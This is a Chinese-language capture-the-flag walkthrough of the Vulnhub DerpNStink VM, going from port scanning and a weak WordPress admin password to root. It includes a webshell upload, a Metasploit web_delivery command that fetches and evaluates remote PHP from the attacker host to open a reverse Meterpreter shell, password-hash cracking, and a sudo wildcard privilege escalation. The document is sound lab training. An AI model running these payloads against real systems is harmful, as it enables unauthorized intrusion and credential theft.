Vulnhub DeRKnStiNK

简介

虚拟机下载： https://www.vulnhub.com/entry/derpnstink-1,221/

靶机： 使用Virtualbox虚拟机导入OVA

攻击机：kali linux 

0x001  信息收集

nmap扫描网络找到VM ip地址 

nmap -sn 192.168.1.100-254
Nmap scan report for 192.168.1.105
Host is up (0.043s latency).
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)

0x002  TCP UDP端口扫描

tcp

nmap -n -A -p- 192.168.1.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 16:57 CST
Nmap scan report for 192.168.1.105
Host is up (0.0067s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
|   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
|   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_  256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

udp 

nmap -n -A -sU 192.168.1.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 17:09 CST
Nmap scan report for 192.168.1.105
Host is up (0.0055s latency).
Not shown: 954 closed ports, 45 open|filtered ports
PORT     STATE SERVICE VERSION
5353/udp open  mdns    DNS-based service discovery
| dns-service-discovery: 
|   9/tcp workstation
|_    Address=192.168.1.105 fe80:0:0:0:a00:27ff:fe2d:1b31
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

0x003 侦查

HTTP   在112行 找到了flag1   

<！--http://192.168.1.105/-->

<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->

FTP  需要用户名和密码 不允许匿名访问

nc 192.168.1.105 21
220 (vsFTPd 3.0.2)
USER root
530 Permission denied.



nc 192.168.1.105 21
220 (vsFTPd 3.0.2)
USER stinky
331 Please specify the password.

ssh  需要密钥

ssh [email protected]

[email protected]: Permission denied (publickey).

0x004 web目录爬取

Burp Spider 找到二个有趣的URL

http://192.168.1.105/webnotes/
http://192.168.1.105/webnotes/info.txt

dirb

dirb http://192.168.1.105/ -o dirb.log

...内容太多省略...

提取URL

cat dirb.log | grep "CODE:200" | cut -d" " -f2 > dirburls.txt
cat dirb.log | grep "==> DIRECTORY:" | cut -d" " -f3 >> dirburls.txt

Eyewitness抓取URL

eyewitness --web -f /root/dirburls.txt
.........
.........
[*] Done! Report written in the /usr/share/eyewitness/01152019_184614 folder!
Would you like to open the report now? [Y/n] Y

打开文件将发现两个比较有趣的URL

http://192.168.1.105/php/phpmyadmin/ #用户信息 将之关注第二个URL
http://192.168.1.105/weblog/

添加域到host文件 重定向到http://derpnstink.local/weblog/

echo "192.168.1.105  derpnstink.local" >> /etc/hosts

再次访问博客

http://derpnstink.local/weblog/

查看源码将发现如下URL  并不能执行cmd

					
Slideshow
											http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/derp.png
										

																		
															
					
				

					
h0m3l4b1t
											http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/shell.php
										
h0m3l4b1t
																		
															
					
				

					
h0m3l4b1t
											http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/shell.php
										
h0m3l4b1t
																		
															
					
				

					
randonx
											http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/elidumfy.php
										
randonx
																		
															
					
				

					
randonx
											http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/uoukbgmr.php
										
randonx
																		
															
						

0x005 CMS识别

从网页最下方发现CMS是WordPress站点 接下来利用wpscan

wpscan --url http://192.168.1.105/weblog

访问博客管理页面  尝试若口令 username:admin password:admin 可以登录

0x006 get webshell

通过上传图片 上传webshell

cat webshell.php 

访问执行cmd

http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/webshell.php?cmd=%20ls

Meterpreter shell

msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set TARGET  1
TARGET => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.103
lhost => 192.168.1.103
msf exploit(multi/script/web_delivery) > set srvport 8989
srvport => 8989
msf exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.103:4444 
msf exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8989/XFHqfm2xqfO
[*] Local IP: http://192.168.1.103:8989/XFHqfm2xqfO
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.103:8989/XFHqfm2xqfO'));"

URL执行cmd

http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/webshell.php?cmd=%20php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.1.103:8989/XFHqfm2xqfO%27));%22

发现权限特别的低

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
/var/www/html/weblog/wp-content/uploads/slideshow-gallery
meterpreter > shell
Process 2091 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
alse
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false

wordpress数据库的配置

 cat /var/www/html/weblog/wp-config.php

0x007 root权限

使用之前找到的数据库 用户root 密码mysql 登录 http://192.168.1.105/php/phpmyadmin/

在wp_user表中 找到用户的哈希密码  在mysql user表中找到用户哈希密码 
unclesticky 密码是经过加盐  使用知道的admin哈希密码进行替换  $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/

MySQL哈希 * 9B776AFB479B31E8047026F1185E952DD1E530CB对应的密码为wedgie57 URL哈希查询https://crackstation.net/

0x008 获取flag2

unclestinky  admin  登录

http://derpnstink.local/weblog/wp-login.php

flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

0x009 访问FTP

ftp://192.168.1.105  用户stinky 和 mysql密码相同 wedgie57

得到了密钥ftp://192.168.1.105/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt

0x010 flag3

修改本地密钥文件连接

chmod 700 ~/.ssh/id_rsa

/。。。。。


stinky@DeRPnStiNK:~$ cat Desktop/flag.txt 
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)

包含mrderp的Wordpress凭据的pcap文件

stinky@DeRPnStiNK:~$ ls Documents/
derpissues.pcap

使用Wireshark读取derpissues.pcap

mrderp的密码：derpderpderpderpderpderpderp

换到mrderp用户

stinky@DeRPnStiNK:~$ su mrderp
Password: 
mrderp@DeRPnStiNK:/home/stinky$ 


mrderp@DeRPnStiNK:~$ cat Desktop/helpdesk.log 
Thank you for contacting the Help Desk. Your ticket information and its resolution is
below.

0x011 root flag4

mrderp@DeRPnStiNK:~$ sudo su
[sudo] password for mrderp: 
Sorry, user mrderp is not allowed to execute '/bin/su' as root on DeRPnStiNK.
mrderp@DeRPnStiNK:~$ 

mrderp不允许运行/bin/su用sudo

mrderp@DeRPnStiNK:~$ sudo -l
Matching Defaults entries for mrderp on DeRPnStiNK:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrderp may run the following commands on DeRPnStiNK:
    (ALL) /home/mrderp/binaries/derpy*
mrderp@DeRPnStiNK:~$ 

创建名为名为derpy.sh的脚本

mrderp@DeRPnStiNK:~$ cd /home/mrderp/
mrderp@DeRPnStiNK:~$ mkdir binaries
mrderp@DeRPnStiNK:~$ echo "/bin/bash" > binaries/derpy.sh
mrderp@DeRPnStiNK:~$ chmod +x binaries/derpy.sh 




mrderp@DeRPnStiNK:~$ sudo ./binaries/derpy.sh 
root@DeRPnStiNK:~# id
uid=0(root) gid=0(root) groups=0(root)
root@DeRPnStiNK:~# cat /root/
.bash_history         .compiz/              Desktop/              Downloads/            .ICEauthority         .mysql_history        .Xauthority           
.bashrc               .config/              .dmrc                 .gconf/               .local/               .profile              .xsession-errors      
.cache/               .dbus/                Documents/            .gvfs/                .mozilla/             .ssh/                 .xsession-errors.old  
root@DeRPnStiNK:~# cat /root/Desktop/flag.txt 
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd) #拿到了flag4

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!

@securekomodo


root@DeRPnStiNK:~#